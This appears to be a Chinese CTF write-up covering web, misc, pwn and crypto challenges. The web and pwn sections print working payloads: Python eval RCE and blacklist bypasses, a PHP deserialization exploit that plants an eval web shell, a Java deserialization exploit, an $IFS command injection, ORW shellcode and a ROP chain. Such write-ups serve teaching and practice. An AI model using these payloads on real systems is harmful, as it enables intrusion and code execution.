​ 感谢WP提供:keup,peng,BR


[TOC]

web

D3f4ult’s shop

image-20241124090313579

​ 后端未对itesm_price做校对,过于信任用户传入数据,将传入的item_price参数修改为足够买得起即可

image-20241124090632246

​ flag为XAUTCTF{7c6fcac0-c7ae-4a3c-9685-bc4ee3215afe}

VulnerableTools

image-20241124091218252

​ 一眼顶真,在计算器功能下发现高危函数eval,且没有任何过滤,那么便可以任意python代码执行

​ 尝试直接读取open("/flag","r").read(),提示Permission denied: '/flag'

image-20241124092010179

​ 看来应该需要RCE,再次尝试__import__("os").popen("ls /").read(),得到

image-20241124092651405

​ 执行/readflag__import__("os").popen("/readflag").read()

image-20241124092739390

​ flag为XAUTCTF{8d4b286e-e7d8-4ea2-b47b-647f6ac642b0}

VulnerableTools_revenge

​ 相较于VulnerableTools就是多加了点过滤

1
2
3
4
black_list = ['import' ,'system', 'os', 'popen', 'subprocess', 'open', 'read', 'python', '__', '[', ']', '{', '}', ':', 'base', 'lower', 'upper', 'cat', 'tac', 'sort', '|', '`', 'tail', 'eval', '\\']

def safe_init():
sys.modules['os'] = 'not allowed'

​ 可利用parselmouth自动化绕过黑名单,而对于os被禁用则可使用subprocess代替

​ 原始payload可构造为

1
__import__('subprocess').check_output('/readflag',shell=True,stderr=__import__('subprocess').STDOUT)

​ 利用parselmouth变形得到

1
__𝒊mport__(max(dict(𝒔ubprocess=()))).check_output((chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125) + chr(123) + chr(125)).format(chr(47), chr(114), chr(101), chr(97), chr(100), chr(102), chr(108), chr(97), chr(103)), shell=True, stderr=__𝒊mport__(max(dict(𝒔ubprocess=()))).STDOUT)

​ 传入得到flag

image-20241124132324710

​ flag为XAUTCTF{c9dc8c87-8556-4989-a1a4-5101bf57f5be}

Easy_login

​ 很容易观察到class.php中存在任意文件写入

image-20241124093427614

​ 结合checklogin.php,中存在unserialize($user_cookie)

image-20241124093626371

​ 推测需要进行反序列化操作,而最终目标则为执行file_put_contents写入木马达成RCE

​ 需要满足:

  1. !is_array($this->username)

  2. strlen($this->password) < 58

  3. $this->username != $this->password

  4. md5($this->username) === md5($this->password)

​ MD5为强比较,要么数组绕过,要么强碰撞绕过,但是条件1ban掉了数组绕过,又因为强碰撞生成的字符串为64的倍数,所以条件2将强碰撞绕过也ban了

​ 想起来之前看晨曦✌博客了解到可以通过php内置类来绕过哈希比较,贴一个原文链接php反序列化 | 晨曦的个人小站

image-20241124094717489

​ exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class User
{
public $username;
public $password;
public $content;

public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}

$u = new Error("test",1);$p = new Error("test",2); // 需放在一行,否则需要手动修改报错的行数

$exp = new User($u, $p);
$exp->content = "<?php eval(\$_GET['cmd']);?>";

$exp = serialize($exp);

// 避免路径字符造成的干扰
$exp = str_replace("D:\\Users\\86156\\Desktop\\选拔赛\\题目\\web\\ezlogin\\exp.php", "a", $exp);
$exp = str_replace("s:59","s:1", $exp);

echo $exp."\n\n";

$exp = urlencode($exp);
echo $exp;
// O%3A4%3A%22User%22%3A3%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A4%3A%22test%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A1%3A%22a%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A15%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A8%3A%22password%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A4%3A%22test%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A1%3A%22a%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A15%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A7%3A%22content%22%3Bs%3A27%3A%22%3C%3Fphp+eval%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%3B%7D
?>

image-20241124101821464

成功写入马后访问/shell.php?cmd=system("cat /flag");即可

flag为XAUTCTF{8353363a-ae20-40f6-b3cb-192677e5467f}

Ez_Unser

​ 反编译User.class注意到似乎是一个无过滤RCE,只不过需要反序列化激活而已

image-20241124103106279

image-20241124103129066

​ exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import xaut.ctf.pojo.User;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class EXP {
public static void main(String[] args) throws IOException {
User exp = new User(new String[]{"cat","/flag"},User.ADMIN);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(exp);

byte[] ser = byteArrayOutputStream.toByteArray();

String b64exp = Base64.getEncoder().encodeToString(ser);
System.out.println(b64exp);
// rO0ABXNyABJ4YXV0LmN0Zi5wb2pvLlVzZXKje01xFpBOfQIAAkkACXByaXZpbGVnZVsAB2NvbW1hbmR0ABNbTGphdmEvbGFuZy9TdHJpbmc7eHAAAAAAdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAnQAA2NhdHQABS9mbGFn
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://47.121.201.96:58625/ser"

exp = "rO0ABXNyABJ4YXV0LmN0Zi5wb2pvLlVzZXKje01xFpBOfQIAAkkACXByaXZpbGVnZVsAB2NvbW1hbmR0ABNbTGphdmEvbGFuZy9TdHJpbmc7eHAAAAAAdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAnQAA2NhdHQABS9mbGFn"

post_data = {
"ser": exp
}

res = requests.post(url, data=post_data).text

print(res)

​ flag为XAUTCTF{c8257bb2-84c5-478c-9f1c-68d0fe311863}

Anonymous

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
error_reporting(0);
$rce = new class {
function getflag($cmd)
{
if (strpos($cmd, ' ') !== false) {
echo strpos($cmd, ' ');
die('no space allowed');
}
echo "You get it!";
@exec($cmd);
}
};
unset($rce);
$rce = $_GET['class'];
$f = new $rce();
$cmd = $_REQUEST['cmd'] ?? 'whoami';
$f->getflag($cmd);
?>

​ 考察匿名类的调用,匿名函数有点像,类似的题目有红明谷初赛2024-web-wp

​ 本地起一个php服务,在unset后打印下类信息

1
2
3
4
$c = get_declared_classes();
foreach($c as $each){
echo $each."\n";
}

​ 得到

image-20241124134533806

​ 其中$0后面是访问次数,那么对于服务器来说,该匿名类大概率为

class@anonymous%00/var/www/html/index.php:4$0

​ 对于空格过滤用$IFS绕即可

​ 重启服务器,传class=class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Findex.php%3A4%240&cmd=cat$IFS/flag>/var/www/html/flag.txt

​ 出现You get it!说明执行成功,查看/flag.txt即可获得flag

image-20241124142812623

​ flag为XAUTCTF{f316b991-e964-410f-8f39-2ea3518545ea}


misc

eZimage

1.png

文件尾发现

1
elcarim_fo_gninnigeb_ehT BSL

反转

1
LSB The_beginning_of_miracle

使用cloacked-pixel

密码是

1
The_beginning_of_miracle

压缩包密码同上

1
flag1:XAUTCTF{L5B-

2.png

补全定位角

1
flag{fakefakeflaaaaaaaaaag}

搜一下png文件尾,把后面的数据提出来

zip,补一下文件头

两个二维码图片异或+反色

扫码得到

1
|||||||flag2:X0R-||||||||

3.png

修复宽高

没找到flag,直接crc拼接试试

CRC

4.png

双图盲水印

1
flag4:H20-

5.png

1
key_is_inCRC

修复宽高

stegsolve RGB1bit左上角有stegpy特征

stegpy密码尝试

1
123456

还以为key是crc,试了半天

1
flag5:S7EGPY-

6.png

放大可以看到白点阵,即为flag

1
flag6:PP1-

7.png

qoi

转换网站

1
https://imagetostl.com/cn/convert/file/qoi/to/png#convert

扫描二维码

1
flag7:QO1-you_get_the_fullflag!!}

完整flag为XAUTCTF{L5B-X0R-CRC-H20-S7EGPY-PP1-QO1-you_get_the_fullflag!!}

叠影重重Vo.0

1
2
3
ECB
asasasasasasasas
556c8be1c8b4cd195b627387c224b64df62d4f308666472492cc9588950be0fc

​ 使用ECB解密556c8be1c8b4cd195b627387c224b64df62d4f308666472492cc9588950be0fc

​ 秘钥是asasasasasasasas

1
This_might_be_the_key

​ 经观察是蚁剑流量

​ 将量中传输的两个文件拼起来

​ 观察传输的目录,发现还有个干扰的,拼错压缩包会打不开

​ rar压缩包解压出第二个流量包2

​ 使用wireshark的ftp导出3.7z

​ 1.txt

​ 字频

1
Th3keyofzip1s_24567890

​ 用这个密码解压3.7z

​ 第三个流量包观察DNS,发现dns前面的是base64编码

​ 解码得到flag为XAUTCTF{HTTP_and_FTP_and_DNS}

ezsound

​ 应该是sstv+lyra+社会主义核心编码,有空补细节

ezip

​ 附件下载解压下来得到1 2 3三个文件,放入010editor分析可以观察到他们都是缺少了504B文件头的zip文件的一部分

image-20241124223608925

image-20241124223627393

image-20241124223708080

​ 新建16进制文件按照1,2,3的顺序组合(注意补上504B的文件头)

image-20241124223539541

image-20241124223950872 得到完整压缩包文件,但是需要密码,有提示guess_what_is_pass****,推测为掩码爆破

image-20241124224134646

​ 得到密码为guess_what_is_pass6789,解压得到4.bandzipREADME.md

​ 将4.bandzip拖入010editor分析,发现为PK(504B)开头,为压缩包文件,修改后缀为.zip

image-20241124224458437

4.zip中存在5README.md文件,通过对比CRC发现我们得到的README.md4.zip中的README.md是同一个文件,可以使用已知明文攻击

​ 将已经得到的README.md文件用提示的bandzip软件的快速压缩级别 (别问怎么知道是快速压缩级别的,问就是试出来的) 进行压缩

image-20241124225204826

​ 然后进行已知明文攻击

image-20241124225435241

​ 得到密码87654321,解压得到5,拖入010editor分析仍为zip文件,修改后缀解压提示需要密码,暴力爆破无果,推测为伪加密

​ 将其修复后解压得到6

​ 拖入010editor分析,注意到最后是正常zip头的倒序

image-20241124230425195

​ 写个脚本逆序一下就好

1
2
data = open("6", "rb").read()
open("6_re.zip", "wb").write(data[::-1])

​ 得到6_re.zip,解压即可得到7.FFint

FFint 提示是将对数据进行 FF 异或 (这人能想的到?)

image-20241124231142892

​ 异或的压缩包再解压,得到RSApub.py8.rar

​ 分析RSApub.py得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import *
from flag import password

n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073
e = 65537
m = bytes_to_long(password)
c = pow(m, e, n1)
c = pow(c, e, n2)

print("c = %d" % c)

# output
# c=39185333474919619874742255960843012945853061788282355773499682958188263727663115173472253697126118879825805362604940090828854217086362761645122867990339584569963848377554362044111767669017010571998821943049856293370769513961777300562061990356053081891728365533367715815323665548852289393225037795876103506701

​ 大概来说就是对password分别使用n1n2连续进行两次RSA加密得到密文c的过程(给我干哪来了,这还是MISC吗?)

​ 观察到n1n2很相近,猜测有相同公因数p,尝试提取,得到公因数p后q1q2可以靠n1 n2 p求得,同理d1 d2也可以得到了,逆向解一下密文即可,以下为解密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import math
import gmpy2
from Crypto.Util.number import *

n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061

n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073

e = 65537

c=39185333474919619874742255960843012945853061788282355773499682958188263727663115173472253697126118879825805362604940090828854217086362761645122867990339584569963848377554362044111767669017010571998821943049856293370769513961777300562061990356053081891728365533367715815323665548852289393225037795876103506701

q = math.gcd(n1, n2)

p1 = n1 // q
p2 = n2 // q

phi1 = (p1-1)*(q-1)
phi2 = (p2-1)*(q-1)

d1 = gmpy2.invert(e, phi1)
d2 = gmpy2.invert(e, phi2)

c = pow(c, d2, n2)
m = pow(c, d1, n1)

password = long_to_bytes(m)
print(password)
# b'you_win_boy_here_your_flag'

​ 得到密码为you_win_boy_here_your_flag,解压8.rar得到flag.txt

​ 文件内容为:

1
2
8]_DBt-<U[q=>0b,.'tD0MZ/V&]6TVRR@Ejc?q/6$NbKo/;h14PyoM]mc(URA>wi3cH\v8Z^@&LD?%Go8ZkJY6,XKAjo! \n
D'`%@9!JZH{{yUxwv-Psa<.L&mlZ5!E2|#dc~wv^)L[Zvun4rqjoh.fNdchgf_%]E[!_^@?[ZYXQuONSRKPIm0/EiI+*@E>=a$@9]=<5{32V05.32+O/o',+$)"F~%|{"!x>_{zyr8vXtmlk1RQmfkdc)J`&^c\[`Y}]\U=YXWPt76RQPONGkKJCHAe(D=B;@?>7[54921U5.3,P0po'&%$)(!E2

​ 注意为两行,将第一行(不包括\n)依次进行Base92 -> Ascii85 -> Base64 -> Base62 -> Base58 -> Base45 -> Base32解码得到M41b0lg3,似乎是某种提示或密钥

​ 在必应中搜索可以找到类似的题目2024 强网拟态防御国际精英挑战赛初赛 Misc Writeup - ⚡Lunatic BLOG⚡,发现这是一种名为malbolge编程语言

​ 在在线平台malbolge在线运行,在线工具,在线编译IDE_w3cschool运行一下第二行的代码得到flag

image-20241124234314803

​ flag为XUATCTF{e@sy_is_not_easy}


pwn

Signin

​ 参考【CTF】【PWN】orw_ctf orw-CSDN博客

​ exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.log_level = 'debug'

sh = process("./pwn")

sh.sendlineafter("path: ","flag")
sh.sendlineafter("oflag: ", "0")
sh.sendlineafter("fd: ", "3")
sh.sendlineafter("nbytes: ", "50")
sh.sendlineafter("fd: ", "1")
sh.sendlineafter("n: ", "50")

sh.interactive()
sh.close()

​ flag为XAUTCTF{55b5e94d-14ff-4b04-b619-ca6524af1594}

Signin_revenge

​ 与上一题相比仅仅是多了buf参数的输入,而题目给了bss段的地址,写脚本传参即可(因为使用read函数读取而不是atoi),脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#! /usr/bin/env python
from pwn import *

#elf = ELF('./pwn4')
context.log_level = 'debug'
#context.binary = elf

#io = process('./pwn2')
io = remote("47.121.201.96",62158)

def debug():
gdb.attach(io)
pause()
#debug()

base = int(io.recv(14),16)
print(hex(base))
io.sendlineafter("path","/flag")
io.sendlineafter("oflag","24")
io.sendlineafter("fd","3")
io.sendafter("buf",p64(base))
io.sendlineafter("nbytes","50")
io.sendlineafter("fd","1")
io.sendafter("buf",p64(base))
io.sendlineafter("n","50")
io.interactive()

shellcode

dawdadwdac32t4heq

​ 读取shellcode后直接执行,但开了沙箱,如下

902qjg943hq9jf0321daf2r

​ 但没禁write函数,openat+pread+write打orw即可,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#! /usr/bin/env python
from pwn import *

elf = ELF('./pwn4')
context.log_level = 'debug'
context.binary = elf

#io = process('./pwn4')
io = remote("47.121.201.96",55079)

def debug():
gdb.attach(io)
pause()
pay = asm(shellcraft.openat(0,"/flag"))
pay+= asm(shellcraft.pread(3,0x401a00,0x30))
pay+= asm(shellcraft.write(1,0x401a00,0x30))

#debug()
io.sendline(pay)
io.interactive()

middling_shellcode

​ 与上题的差别只有禁用了write函数,使用writev绕过即可(也可打侧信道攻击,但不如这个快),脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#! /usr/bin/env python
from pwn import *

elf = ELF('./pwn5')
context.binary = elf
#io = process('./pwn5')
io = remote("47.121.201.96",52722)
def debug():
gdb.attach(io)
pause()
pay = asm(shellcraft.openat(0,"/flag"))
pay+= asm(shellcraft.pread(3,0x401a00,0x30))
pay+= asm('''
push 1
pop rdi
push 0x1 /* iov size */
pop rdx
push 0x100
mov rbx, 0x401a00
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall''')
#debug()
io.sendline(pay)
io.interactive()

simple_command

92y74h8wu902hfawkodj

​ 初步尝试运行,发现为只有五条命令的命令行

c8932hnsda902dsn2

​ 分析各个函数后发现echo命令可以读取文件并打印,仅需要命令符合以下格式

zks0393nasacv1gk5m

​ 即echo $(<filename) 即可

ez_c++

89djh9w0fjkk0kdq12

89h18d9jan3fkseaw

​ Ida反编译后发现是栈溢出,

image-20241125000739946

​ 没开pie,简单rop即可,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#! /usr/bin/env python

from pwn import *

context.log_level = 'debug'
context.binary = ELF('./pwn')

io = process('./pwn')
#io = remote("47.121.201.96",54864)

def debug():
gdb.attach(io)
pause()

rax_ret = 0x000000000041dbea
rdi_ret = 0x00000000004047af
rsi_ret = 0x0000000000406d1f
rdx_rbx_ret = 0x00000000005302ab
syscall = 0x00000000004D7886
ret = 0x000000000040101a

pay = b'a'*0x18 + p64(rax_ret)+p64(0)+p64(rdi_ret)+p64(0)+p64(rsi_ret)+p64(0x5e0000)+p64(rdx_rbx_ret)+p64(0x10)*2+p64(syscall)
pay += p64(rax_ret)+p64(0x3b)+p64(rdi_ret)+p64(0x5e0000)+p64(rsi_ret)+p64(0)+p64(rdx_rbx_ret)+p64(0)*2+p64(ret)+p64(syscall)

crypto

RSA-I

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
------------
"task.py"
from Crypto.Util.number import *

class RSA:
def __init__(self, private_key, public_key):
self.p, self.q, self.d = private_key
self.n, self.e = public_key

def encrypt(self, plaintext):
if isinstance(plaintext, bytes):
plaintext = bytes_to_long(plaintext)
ciphertext = pow(plaintext, self.e, self.n)
return ciphertext

def decrypt(self, ciphertext):
if isinstance(ciphertext, bytes):
ciphertext = bytes_to_long(ciphertext)
plaintext = pow(ciphertext, self.d, self.n)
return plaintext


def get_keypair(nbits: int, e: int = 65537):
p = getPrime(nbits//2)
q = getPrime(nbits//2)
n = p * q
d = inverse(e, n - p - q + 1)
return (p, q, d), (n, e)

from secret import flag
from my_rsa import RSA, get_keypair

------------
"my_rsa.py"

from secret import flag
from my_rsa import RSA, get_keypair

if __name__ == '__main__':
pri_key, pub_key = get_keypair(1024)
rsa = RSA(pri_key, pub_key)

enc = rsa.encrypt(flag)
print(f'hints = {pri_key[0] + pri_key[1]}')
print(f'n, e = {pub_key}')
print(f'enc = {enc}')

'''
hints = 17960325692966331869367295266392755370930923303673500674407412894866561185754447732268527534544301544931655778385705095340590928294627879305530053644606312
n, e = (80548079006690376484401947528317514672736700181359966713779522504478122520007672121663227999817333022339225284372340165255346107208306023661907114014677074667152281135816625157070158494735927400719428743427820417408045831658047980152722419641033119403043238702634218004318381875607238168683179631114283102327, 65537)
enc = 3347542355425894800112758523511971140080278878605094506650339357102998310566418899431668482919681709243951629211518553810749037620164641002892247118379277692194438504740336362953221566843082616970245054949055912556819847938962290875425531807639012443625444040550871890468653273544749332817433350620315663824
'''

​ 很明显,通过get_keypair生成了p和q,其中hints = p+qn = p*q解方程即可得到p和q

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *
from sympy import *

hints = 17960325692966331869367295266392755370930923303673500674407412894866561185754447732268527534544301544931655778385705095340590928294627879305530053644606312
n, e = (80548079006690376484401947528317514672736700181359966713779522504478122520007672121663227999817333022339225284372340165255346107208306023661907114014677074667152281135816625157070158494735927400719428743427820417408045831658047980152722419641033119403043238702634218004318381875607238168683179631114283102327, 65537)
enc = 3347542355425894800112758523511971140080278878605094506650339357102998310566418899431668482919681709243951629211518553810749037620164641002892247118379277692194438504740336362953221566843082616970245054949055912556819847938962290875425531807639012443625444040550871890468653273544749332817433350620315663824

# p+q=hints
# p*q=n

class RSA:
def __init__(self, private_key, public_key):
self.p, self.q, self.d = private_key
self.n, self.e = public_key

def decrypt(self, ciphertext):
plaintext = pow(ciphertext, self.d, self.n)
return long_to_bytes(plaintext).decode()

def solution(sum, product):
x = symbols('x')
dis = x**2 -sum*x + product

solution = solve(dis, x)

return solution

result = solution(hints, n)
p = int(result[0])
q = int(result[1])
print(p,q)

phi = (p-1)*(q-1)
d = inverse(e, phi)

rsa = RSA((p,q,d),(n,e))
flag = rsa.decrypt(enc)
print(flag)
# XAUTCTF{1893cd00-5520-3231-a19d-2563c3641a8a}

flag为XAUTCTF{1893cd00-5520-3231-a19d-2563c3641a8a}

RSA-II

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
------------
"task.py"
from Crypto.Util.number import getRandomNBitInteger

from secret import flag
from my_rsa import RSA, get_keypair

pri_key, pub_key = get_keypair(1024)
rsa = RSA(pri_key, pub_key)
enc = rsa.encrypt(flag)

k_bits = 180
hints_len = 4

hints = []
for i in range(hints_len):
hints.append(getRandomNBitInteger(k_bits) * pri_key[0] + getRandomNBitInteger(k_bits) * pri_key[1])

print(f'hints = {hints}')
print(f'n, e = {pub_key}')
print(f'enc = {enc}')

'''
hints = [23597041116421585383253617822238134482022985527196483737800027046632049501576994404575650072309514086216443500217413002536680649786874242439394596694558255069623971174819336015998506169596930513809024152602641, 18918670633849764224176581085296078409704603995267665366816563141474967984734617831249768345438068798516700525748972411048432944250646148414484479146763021186677905840501241585907337082119873061822184269888932, 27410394479523367303818326313047678775857877447545211654608647781399978125621186992839370580369227913427608730245324283127880308257456049017257798110955836478420978837474849678328941529110143495015237003672102, 19771853350828481188305560174546641567112991229767951723535120036986753959786655218256255574630537563685139213616485845916018895538066666858962337932503913041988856767768201107997309315722525085259644264076364]
n, e = (87983894410720207158810626024075859252678400286609500320114902976089861944315015016279894113116554079534123564264283942467629749675516446794704980553532165048365486842288583348346981877316333068201475358519481491306811915775860773663152419968463284474286230662338065590172104643936556485811955378881620648939, 65537)
enc = 22533289628970791445166452969863260911408958741328551298306903969766733181601846771396684399082766428379610776865767264720771870307933216036865646839162378532559068458036002257189928246000285667093942689439071077397077785445444831685924708907686173164533537203327619143830270772718035767376282548756552850834
'''

------------
"my_rsa.py"
from Crypto.Util.number import *

class RSA:
def __init__(self, private_key, public_key):
self.p, self.q, self.d = private_key
self.n, self.e = public_key

def encrypt(self, plaintext):
if isinstance(plaintext, bytes):
plaintext = bytes_to_long(plaintext)
ciphertext = pow(plaintext, self.e, self.n)
return ciphertext

def decrypt(self, ciphertext):
if isinstance(ciphertext, bytes):
ciphertext = bytes_to_long(ciphertext)
plaintext = pow(ciphertext, self.d, self.n)
return plaintext


def get_keypair(nbits: int, e: int = 65537):
p = getPrime(nbits//2)
q = getPrime(nbits//2)
n = p * q
d = inverse(e, n - p - q + 1)
return (p, q, d), (n, e)

​ 做到这再去发现是强网杯2024的原题apbq强网杯2024 Writeup - 星盟安全团队

​ 直接借脚本稍微改下放sage上跑一下即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import itertools
from Crypto.Util.number import *

n,e = (87983894410720207158810626024075859252678400286609500320114902976089861944315015016279894113116554079534123564264283942467629749675516446794704980553532165048365486842288583348346981877316333068201475358519481491306811915775860773663152419968463284474286230662338065590172104643936556485811955378881620648939, 65537)
c = 22533289628970791445166452969863260911408958741328551298306903969766733181601846771396684399082766428379610776865767264720771870307933216036865646839162378532559068458036002257189928246000285667093942689439071077397077785445444831685924708907686173164533537203327619143830270772718035767376282548756552850834
hints = [23597041116421585383253617822238134482022985527196483737800027046632049501576994404575650072309514086216443500217413002536680649786874242439394596694558255069623971174819336015998506169596930513809024152602641, 18918670633849764224176581085296078409704603995267665366816563141474967984734617831249768345438068798516700525748972411048432944250646148414484479146763021186677905840501241585907337082119873061822184269888932, 27410394479523367303818326313047678775857877447545211654608647781399978125621186992839370580369227913427608730245324283127880308257456049017257798110955836478420978837474849678328941529110143495015237003672102, 19771853350828481188305560174546641567112991229767951723535120036986753959786655218256255574630537563685139213616485845916018895538066666858962337932503913041988856767768201107997309315722525085259644264076364]

V = hints
k = 2^800
M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len(V)))
B = [b[1:] for b in M.LLL()]
M = (k * Matrix(B[:len(V)-2])).T.augment(Matrix.identity(len(V)))
B = [b[-len(V):] for b in M.LLL() if set(b[:len(V)-2]) == {0}]

for s, t in itertools.product(range(4), repeat=2):
T = s*B[0] + t*B[1]
a1, a2, a3, a4 = T
kq = gcd(a1 * hints[1] - a2 * hints[0], n)
if 1 < kq < n:
print('find!')
print(kq)
break

p = kq
q = n//p

phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c, d, n)
print(long_to_bytes(int(m)))
# XAUTCTF{a12c767e-11c9-0c5d-a158-d4357aa8994f}

image-20241124123638097

flag为XAUTCTF{a12c767e-11c9-0c5d-a158-d4357aa8994f}

43_steps

​ 由题目结合可以知道,C表示复制,V表示粘贴,A表示全选,那么实际上经过测试,只有ACVV两种字符串组合会影响字符的增长

​ 如果题目有解,必然为包含ACVV的字符串,结合题目猜测总长度应该就是43,可以尝试爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def process(solve, limit: int = 43, target: int = 1*10**5):
count = 1
select = 0
shear_plate = 0

for control in solve:

control = control.upper()

if control == 'A':
select = count
elif control == 'C':
shear_plate = select
select = 0
elif control == 'V':
count += shear_plate

print(f"len = {len(solve)}, {count = }, {solve = }\n".encode())
return count

def generate_strings(length, prefix=""):
if length == 0:
count = process(prefix)
if count == 100000:
print(prefix)
exit(0)
else:
generate_strings(length - 1, prefix + "V")
if length >= 3:
generate_strings(length - 3, prefix + "ACV")


generate_strings(43)
# ACVVVVACVVVVACVVVVACVVVVACVVVVACVVVACVVVACV

image-20241124125547304

​ 爆破得到ACVVVVACVVVVACVVVVACVVVVACVVVVACVVVACVVVACV

image-20241124151452079

​ nc连接拿到flag为XAUTCTF{acd61088-83fa-4be9-9a49-322f09260004}

​ 应该是非预期解

​ 标准解可参考隔壁算法题https://www.zhihu.com/question/614897549/answer/3548312646